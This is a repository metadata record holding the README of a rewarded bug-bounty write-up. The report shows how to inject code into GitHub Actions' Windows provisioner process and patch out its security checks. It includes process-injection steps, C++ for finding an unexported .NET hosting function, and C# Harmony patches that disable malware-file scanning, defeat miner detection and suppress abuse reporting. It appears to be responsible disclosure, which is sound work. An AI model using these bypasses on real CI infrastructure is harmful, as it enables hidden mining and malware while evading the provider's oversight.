{"id":19851893,"url":"https://github.com/stackoverflowexcept1on/how-to-hack-github-actions","last_synced_at":"2025-02-28T21:16:17.175Z","repository":{"id":138029487,"uuid":"516722367","full_name":"StackOverflowExcept1on/how-to-hack-github-actions","owner":"StackOverflowExcept1on","description":"How to hack Github Actions if you're smart enough ($500 bug bounty)","archived":false,"fork":false,"pushed_at":"2022-11-05T11:20:34.000Z","size":2700,"stargazers_count":17,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-01-11T13:23:59.623Z","etag":null,"topics":["bugbounty","cpp20","hackerone-reports","hacking"],"latest_commit_sha":null,"homepage":"","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/StackOverflowExcept1on.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-07-22T11:18:48.000Z","updated_at":"2024-12-08T11:50:53.000Z","dependencies_parsed_at":null,"dependency_job_id":"2fcb7ad8-ce7c-4686-89c3-ce0ff717d32c","html_url":"https://github.com/StackOverflowExcept1on/how-to-hack-github-actions","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/StackOverflowExcept1on%2Fhow-to-hack-github-actions","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/StackOverflowExcept1on%2Fhow-to-hack-github-actions/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/StackOverflowExcept1on%2Fhow-to-hack-github-actions/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/StackOverflowExcept1on%2Fhow-to-hack-github-actions/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/StackOverflowExcept1on","download_url":"https://codeload.github.com/StackOverflowExcept1on/how-to-hack-github-actions/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":241240731,"owners_count":19932609,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bugbounty","cpp20","hackerone-reports","hacking"],"created_at":"2024-11-12T13:33:07.648Z","updated_at":"2025-02-28T21:16:17.145Z","avatar_url":"https://github.com/StackOverflowExcept1on.png","language":"C++","readme":"## What is it?\nFrom July 11 to July 22, 2022, I worked on the old idea associated with an attempt to participate in a HackerOne bug bounty program.\nThis report related to vulnerability in Github Actions. HackerOne rewared me with 500$ and a t-shirt at August 2, 2022!\n\nYou can verify it in my profile: https://hackerone.com/StackOverflowExcept1on\n\n![reward](assets/reward.png)\n\n## Table of contents\n- [Bypassing `Virtual Environment Provisioner` restrictions to do something unexpected in GitHub Actions](#bypassing-virtual-environment-provisioner-restrictions-to-do-something-unexpected-in-github-actions)\n  * [Prehistory](#prehistory)\n  * [What is Virtual Environment Provisioner?](#what-is-virtual-environment-provisioner)\n  * [My idea without going into the technical part](#my-idea-without-going-into-the-technical-part)\n  * [How it's could be done?](#how-its-could-be-done)\n  * [Debugging Virtual Environment Provisioner using TCP-server](#debugging-virtual-environment-provisioner-using-tcp-server)\n  * [Proof of concept](#proof-of-concept)\n  * [How to run PoC on GitHub Actions VM?](#how-to-run-poc-on-github-actions-vm)\n  * [Conclusion](#conclusion)\n\n## Bypassing `Virtual Environment Provisioner` restrictions to do something unexpected in GitHub Actions\n\nI made the private repository that is located at https://github.com/StackOverflowExcept1on/how-to-hack-github-actions and contains source code.\nIf you can't access it, send me your GitHub username. So, I'll invite you.\n\nAs an alternative, I have attached the code of all projects, which maybe will useful at HackerOne.\n\n### Prehistory\n\nI got interested in writing GitHub Actions script for automation and came across an article:\n[Crypto-mining attack in my GitHub actions through Pull Request](https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc)\n. It became interesting to me how exactly GitHub prevents such attacks. That's why I did this report.\n\n### What is Virtual Environment Provisioner?\n\nEvery time you run GitHub Actions as a normal user on a virtual machine, a program called \"Virtual Environment\nProvisioner\" is launches at the background\n\n![01_provisioner](assets/01_provisioner.png)\n\nI had to use reverse RDP on your system to figure out this. So, all this report targets at `windows-latest` VMs.\nProvisioner is located at `C:\\actions\\runner-provisioner-Windows` in file `provisioner.exe`\n\nThis program deals with the maintenance of the virtual machine, and I could not find it in the Open Source. I decided to\nsteal it's executable for analysis using the following actions:\n\n[`.github/workflows/files.yml`](.github/workflows/files.yml)\n\n```yaml\nname: Give me files for reverse engineering\non:\n  workflow_dispatch:\n\njobs:\n  build:\n    runs-on: windows-latest\n\n    steps:\n      - uses: actions/checkout@v3\n\n      - name: Steal some files for me to analyze\n        run: |\n          Copy-Item C:\\Windows\\System32\\kernel32.dll .\\\n          Copy-Item C:\\actions\\runner-provisioner-Windows\\hostfxr.dll .\\\n          Copy-Item -Recurse C:\\actions\\runner-provisioner-Windows .\\\n\n      - uses: actions/upload-artifact@v3\n        with:\n          name: libraries\n          path: |\n            kernel32.dll\n            hostfxr.dll\n\n      - uses: actions/upload-artifact@v3\n        with:\n          name: program\n          path: runner-provisioner-Windows\n```\n\nAfter getting the executable, I used [dnSpyEx](https://github.com/dnSpyEx/dnSpy) to analyze it and found many\ninteresting things\n\n![02_dnspy](assets/02_dnspy.png)\n\n`provisioner.framework.dll` contains this classes, I also did screenshot of the decompiled code to show most important\nthings:\n\n- `ActivityLogMonitorJob` - **reports suspicious activity**\n  ![03_ActivityLogMonitorJob](assets/03_ActivityLogMonitorJob.png)\n- `HostsFileMonitorJob` - **checks that `C:\\Windows\\System32\\Drivers\\etc\\hosts` not changed to block mining pools**\n  ![04_HostsFileMonitorJob](assets/04_HostsFileMonitorJob.png)\n- `MachineHealthMonitorJob` - **sends some (CPU, RAM?) metrics over the network**\n  ![05_MachineHealthMonitorJob](assets/05_MachineHealthMonitorJob.png)\n- `MachineInfoMonitorJob` - not sure\n- `NetworkHealthMonitorJob` - checks that network is reachable\n- `ProcessMonitorJob` - **checks if process has mining-related activity (arguments, process name)**\n  ![06_ProcessMonitorJob](assets/06_ProcessMonitorJob.png)\n- `ProvjobdMonitorJob` - runs some golang executable file\n- `SuspiciousFilesMonitorJob` - **recursively scans for malware/miners at the VM**\n  ![07_SuspiciousFilesMonitorJob](assets/07_SuspiciousFilesMonitorJob.png)\n\nSo, Virtual Environment Provisioner has security system to prevent abuse actions. If you try to kill `provisioner.exe`\nGitHub Actions immediately stop your script.\n\n### My idea without going into the technical part\n\nThe process `provisioner.exe` isn't isolated from custom scripts and runs as the user `runneradmin`. My idea is to\ninject malicious code into this process right at runtime using custom script. This would allow me to change anything in\nthe existing security system against mining or abusing. Imagine we could change the functionality that sends CPU metrics\nand set CPU usage to near zero. Then we bypass the other constraints and perform actions that should be detected by your\nsecurity system.\n\n### How it's could be done?\n\n![explained_01_how_to_inject](assets/explained/01_how_to_inject.png)\n\nAt first need to perform shellcode injection. You can read about it here:\n[Executing Shellcode in Remote Process](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection)\n\nFor this need to do following:\n1. find `provisioner.exe` process id using `CreateToolhelp32Snapshot` and `Process32NextW`\n2. get handle of process by id using `OpenProcess`\n3. allocate virtual memory inside this process using `VirtualAllocEx`\n4. write malicious shellcode bytes into allocated memory using `WriteProcessMemory`\n5. create a thread with malicious code and set the thread's entry point as previously allocated block of memory\n   using `CreateRemoteThread`\n6. wait for result by calling `WaitForSingleObject`\n7. check if inject was successful using `GetExitCodeThread`\n\nI put this code into [`projects/cpp/app/codeinjector/src/main.cpp`](projects/cpp/app/codeinjector/src/main.cpp). So, you\ncan see how it was done\n\nThis injection is still not enough to get to c# code. I spent about a week while doing reverse engineering work dotnet\ninternals and found this\narticle: [Write a custom .NET host to control the .NET runtime from your native code](https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore-hosting)\n\nIt contains useful code that I used to produce my own injector to NET Core applications. I really couldn't solve this\nproblem for a long time. The first successful injector was written on May 7, 2021.\n\nWell, I wrote module that is called `bootstrapper`. You again can see source code if you need at\n[`projects/cpp/app/bootstrapper/src/main.cpp`](projects/cpp/app/bootstrapper/src/main.cpp)\n\nHow to inject into dotnet runtime?\n1. extract C# DLLs into `%TEMP%` directory\n2. find base address of `hostfxr.dll` library\n3. find `hostfxr_get_runtime_delegate()` address\n4. the most hard thing was obtain `fx_muxer_t::get_active_host_context()` function address\n\n   This function isn't marked as exported. The only way to find it is to search through the machine code and find 2nd\n   call instruction. After that need to do the same as the processor to calculate the address\n\n   So, I used IDA Pro to locate where `fx_muxer_t::get_active_host_context()` is used.\n   It's used in `hostfxr_get_runtime_properties` which is also exported! It allows me to get address of this function\n   ![hostfxr_aslr_bypass_01](assets/hostfxr_aslr_bypass/01_hostfxr_get_runtime_properties.png)\n\n   We need only the line:\n   ```\n   .text:00000001800135FA E8 E1 35 00 00 call fx_muxer_t::get_active_host_context(void)\n   ```\n\n   In x86_64 assembler each call instruction starts from opcode `0xE8`:\n   see https://www.felixcloutier.com/x86/call\n\n   `E1 35 00 00` is offset that determines where to jump, it's encoded as little endian.\n   This instruction can be decoded as `[.text:00000001800135FA] call 0x35E1`\n\n   So, we can calculate address of `fx_muxer_t::get_active_host_context()`:\n   `0x00000001800135FA + 0x35E1 + 5 = 0x180016be0`\n   - where `5` is size of call instruction\n   - `0x00000001800135FA` is RIP register\n\n   In IDA Pro we can jump to `0x180016be0` and make sure that address is really points to\n  `fx_muxer_t::get_active_host_context()`:\n\n   ![02_hostfxr_aslr_bypass](assets/hostfxr_aslr_bypass/02_right_address.png)\n\n   Now imagine if we write a program that does the same at runtime! It will just run through each byte and read the\n   machine code until it finds 0xE8, and then calculate the address\n   ![03_hostfxr_aslr_bypass](assets/hostfxr_aslr_bypass/03_how_to_find_call.png)\n\n   There is way that I used:\n   ```cpp\n   /// function pointer to `hostfxr_get_runtime_properties` (exported)\n   auto hostfxr_get_runtime_properties_fptr = loader::GetExportByHash\u003chostfxr_get_runtime_properties_fn\u003e(\n       base,\n       adler32::hash_fn_compile_time(\"hostfxr_get_runtime_properties\")\n   );\n\n   /// look for 2-nd x86_64 `call` instruction (opcode 0xE8, size 5 bytes)\n   /// based on code xrefs\n   auto buf = reinterpret_cast\u003cBYTE *\u003e(hostfxr_get_runtime_properties_fptr);\n\n   uint8_t count = 0;\n   while (count != 2) {\n       if (*buf++ == 0xE8) {\n           count++;\n       }\n   }\n\n   auto instructionAddress = reinterpret_cast\u003cSIZE_T\u003e(buf);\n   auto functionAddress = instructionAddress + *reinterpret_cast\u003cDWORD *\u003e(buf) + 5;\n\n   /// function pointer to `fx_muxer_t::get_active_host_context`\n   auto get_active_host_context_fptr = reinterpret_cast\u003cdecltype(\u0026fx_muxer_t::get_active_host_context)\u003e(functionAddress);\n   ```\n\n5. call `fx_muxer_t::get_active_host_context()` to get active dotnet runtime context\n6. call `hostfxr_get_runtime_delegate()` to get native function pointer to the requested runtime functionality. It's\n   saved as `delegate`\n7. obtain `load_assembly_and_get_function_pointer_fn()` using saved `delegate`\n8. call `load_assembly_and_get_function_pointer_fn()` with C# AssemblyInfo to inject. It will produce entrypoint\n   function to C++ code into C#\n9. call entrypoint, in C# it's marked as `[UnmanagedCallersOnly]`\n\nAfter successful injection I can use [Harmony](https://github.com/pardeike/Harmony) library to attach my code to any\nfunction of `provisioner.exe`. I can insert my custom code at the beginning of any C# function, then cancel execution of\noriginal function. Also, Harmony library allows performing custom code at end of function to replace its result.\n\n![08_patch_logic](assets/08_patch_logic.png)\n\n### Debugging Virtual Environment Provisioner using TCP-server\n\n![explained_02_how_server_works](assets/explained/02_how_server_works.png)\n\nAfter a successful injection, the code will connect to my computer on the port 1337 and will send logs to me.\n\nI wrote C# library that intercepts function\n```csharp\nnamespace Microsoft.AzureDevOps.Provisioner.Framework.Monitoring {\n    class SuspiciousFilesMonitorJob {\n        private bool SuspiciousSignatureExists(string directory, int currDepth) { ... }\n    }\n}\n```\n\nusing code like this\n\n```csharp\n[HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))]\npublic class SuspiciousFilesMonitorJobPatches\n{\n    [HarmonyPrefix]\n    [HarmonyPatch(\"SuspiciousSignatureExists\")]\n    static void SuspiciousSignatureExists(\n        Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance,\n        string directory,\n        int currDepth\n    )\n    {\n        NetworkLogger.GetInstance().Write($\"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})\");\n    }\n}\n```\n\nThe `NetworkLogger` will send all information to any IPv4 address.\n\nI started a local server on GitHub Actions VM and just walked away for 15 minutes to get logs.\n\n![09_first_inject](assets/09_first_inject.jpeg)\n\nAs you can see, intercepting of function works!\n\n### Proof of concept\n\nOkay, now let's try to do the following:\n- bypass check for suspicious files (related to SuspiciousFilesMonitorJob)\n- bypass processes checking and their arguments (related to ProcessMonitorJob)\n- don't report about suspicious activity to GitHub host\n\nAs I showed earlier, there is such a function for recursively scanning directories\n```csharp\nnamespace Microsoft.AzureDevOps.Provisioner.Framework.Monitoring {\n    class SuspiciousFilesMonitorJob {\n        private bool SuspiciousSignatureExists(string directory, int currDepth) { ... }\n    }\n}\n```\n\nLook at the screenshot above, it works like this:\n```\nSuspiciousSignatureExists(directory=@\"D:\\a\", currDepth=0);\n    SuspiciousSignatureExists(directory=@\"D:\\a\\test-repo\", currDepth=1);\n        SuspiciousSignatureExists(directory=@\"D:\\a\\test-repo\\test-repo\", currDepth=2);\n            ...\n```\n\nAlso let's look at the decompiled code to understand its logic:\n\n![10_suspicious_files_checker](assets/10_suspicious_files_checker.png)\n\nThis function will recursively go down through the directories until it reaches depth 5.\nSo, I wrote a HarmonyPatch to fix that and remove all checks!\n\n```csharp\n[HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))]\npublic class SuspiciousFilesMonitorJobPatches\n{\n    [HarmonyPrefix]\n    [HarmonyPatch(\"SuspiciousSignatureExists\")]\n    static bool SuspiciousSignatureExists(\n        Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance,\n        string directory,\n        int currDepth,\n        ref bool __result\n    )\n    {\n        NetworkLogger.GetInstance().Write($\"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})\");\n        __result = false; //no suspicious files\n\n        //don't call SuspiciousFilesMonitorJob.SuspiciousSignatureExists(...)\n        //now provisioner will not scan subfolders at all\n        return false;\n    }\n}\n```\n\nNow this functions will stop scan and log it on `currDepth=0`. There is example output of this:\n```\nSuspicious Files Monitor // SuspiciousSignatureExists(directory=@\"D:\\a\", currDepth=0)\n```\n\nBy changing this behavior, the attacker could launch a miner, a trojan, anything prohibited on GitHub Actions!\n\nAs another example, I'll show you a way to bypass ProcessMonitorJob, but this requires reverse engineering\n\nProcessMonitorJob references to ScriptTaskValidator in Initialize function\n\n![11_process_checking_job_init](assets/11_process_checking_job_init.png)\n\nThen ScriptTaskValidator creates List of IBadTokenProvider.\nOne provider is comes from the constructor, the second is static.\nAs a result, bad tokens are generated (`this.m_regexesToMatch`, `this.m_stringsToMatch`) to search for malicious processes\n\n![12_script_task_validator](assets/12_script_task_validator.png)\n\nScriptTaskValidator also has BaseBadTokenProvider, which is implemented in the same namespace.\nFor example, it can find the Monero address in the process arguments:\n\n![13_xmr_address_to_trigger](assets/13_xmr_address_to_trigger.png)\n\nAs I know Monero address length is 95 characters. So, regex `\"4[1-9a-km-zA-HJ-NP-Z]{94}\"` is related to XMR.\nNext, we can see that these bad tokens are used in the method `HasBadParamOrArgument`:\n\n![14_script_task_validator_check](assets/14_script_task_validator_check.png)\n\nFunction signature looks like this:\n```csharp\nnamespace GitHub.DistributedTask.Pipelines.Validation {\n    class ScriptTaskValidator {\n        public bool HasBadParamOrArgument(string exeAndArgs, out string matchedPattern, out string matchedToken) { ... }\n    }\n}\n```\n\nThen this function is finally called in ProcessMonitorJob:\n\n![15_process_monitor_job_calls_validator](assets/15_process_monitor_job_calls_validator.png)\n\nI decided that I would not do anything bad and just demonstrate to you how to trigger security system and then my hook\nbypass it's check. For example, I will replace the beginning of this function, then add Monero address to its\nargument `exeAndArgs`. That functions will alreays. Now the function will mark all processes as malicious, I just would\nlog it's args and result for demo. At the end of the function, I will change the result to `false`. I don't want to get\nban from GitHub ;D\n\n```csharp\n[HarmonyPatch(typeof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator))]\npublic class ScriptTaskValidatorPatches\n{\n    [HarmonyPrefix]\n    [HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))]\n    static void HasBadParamOrArgument_Prefix(ref string exeAndArgs)\n    {\n        //trigger provisioner by appending XMR address to exeAndArgs\n        exeAndArgs += \" 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD\";\n    }\n\n    [HarmonyPostfix]\n    [HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))]\n    static void HasBadParamOrArgument_Postfix(string exeAndArgs, ref bool __result)\n    {\n        //checking result from original function HasBadParamOrArgument(...), it would be True for all processes\n        NetworkLogger.GetInstance().Write($\"ScriptTaskValidator // HasBadParamOrArgument({exeAndArgs}, ..., ...) = {__result}\");\n        __result = false; //set result to false to bypass provisioner check ;D\n    }\n}\n```\n\nThere is example output after doing this patch:\n```\nScriptTaskValidator // HasBadParamOrArgument(dotnet \"C:\\Program Files\\dotnet\\dotnet.exe\" exec \"C:\\Program Files\\dotnet\\sdk\\6.0.301\\Roslyn\\bincore\\VBCSCompiler.dll\" \"-pipename:q1wL+usWKy9lMQy0zJFLX69E5zGeeP3NsF75bARkrok\" 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True\nScriptTaskValidator // HasBadParamOrArgument(conhost \\??\\C:\\Windows\\system32\\conhost.exe 0x4 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True\nScriptTaskValidator // HasBadParamOrArgument(cmd \"C:\\Windows\\system32\\cmd.EXE\" /D /E:ON /V:OFF /S /C \"CALL \"D:\\a\\_temp\\b6691e1d-9d87-4460-bf1f-42cf7bfa196d.cmd\"\" 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True\nScriptTaskValidator // HasBadParamOrArgument(python python  scripts\\server.py 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True\nScriptTaskValidator // HasBadParamOrArgument(taskhostw taskhostw.exe 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD, ..., ...) = True\n```\n\nSuch an attack may allow a Monero miner to be launched without reporting suspicious activity.\nSpeaking of suspicious activity, I can also replace the function that reports it, but I haven't tested that so as not to do anything banned on\nthe GitHub\n\nHere is example code to do it:\n```csharp\n[HarmonyPatch(typeof(MachineManagement.Provisioning.MachineManagementClient))]\npublic class MachineManagementClientPatches\n{\n    [HarmonyPrefix]\n    [HarmonyPatch(nameof(MachineManagement.Provisioning.MachineManagementClient.ReportSuspiciousActivityAsync))]\n    static bool ReportSuspiciousActivityAsync(\n        long requestId,\n        byte[] postRegistrationAccessToken,\n        string suspiciousActivity,\n        string poolName,\n        string instanceName,\n        ref Task __result\n    )\n    {\n        var token = Convert.ToHexString(postRegistrationAccessToken);\n        NetworkLogger.GetInstance().Write($\"MachineManagementClient // ReportSuspiciousActivityAsync({requestId}, {token}, {suspiciousActivity}, {poolName}, {instanceName})\");\n        __result = new Task(() =\u003e {\n            //replace task with nothing\n        }); \n        return false; //don't call MachineManagementClient.ReportSuspiciousActivityAsync(...)\n    }\n}\n```\n\nYou can see full code at [`projects/csharp/patcher/patcher/Main.cs`](projects/csharp/patcher/patcher/Main.cs)\n\n### How to run PoC on GitHub Actions VM?\n\nI made a complete project which has the file [`.github/workflows/build.yml`](.github/workflows/build.yml) to do this.\nYou can upload it to GitHub, then it will automatically run action that's builds payload from sources, runs local python\nserver and exits after 15 minutes.\n\nIf you want to repeat this, you can do as in the screenshot:\n![16_how_to_build_and_test_poc](assets/16_how_to_build_and_test_poc.png)\n\n### Conclusion\n\nIn theory, a hacker can do a lot of bad things knowing such an attack vector. I just showed a proof of concept that\nallows a hacker to bypass Virtual Environment Provisioner restrictions to execute bad binaries without immediately ban\nby your automatic security system.\n\n![cat](assets/cat.jpg)\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fstackoverflowexcept1on%2Fhow-to-hack-github-actions","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fstackoverflowexcept1on%2Fhow-to-hack-github-actions","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fstackoverflowexcept1on%2Fhow-to-hack-github-actions/lists"}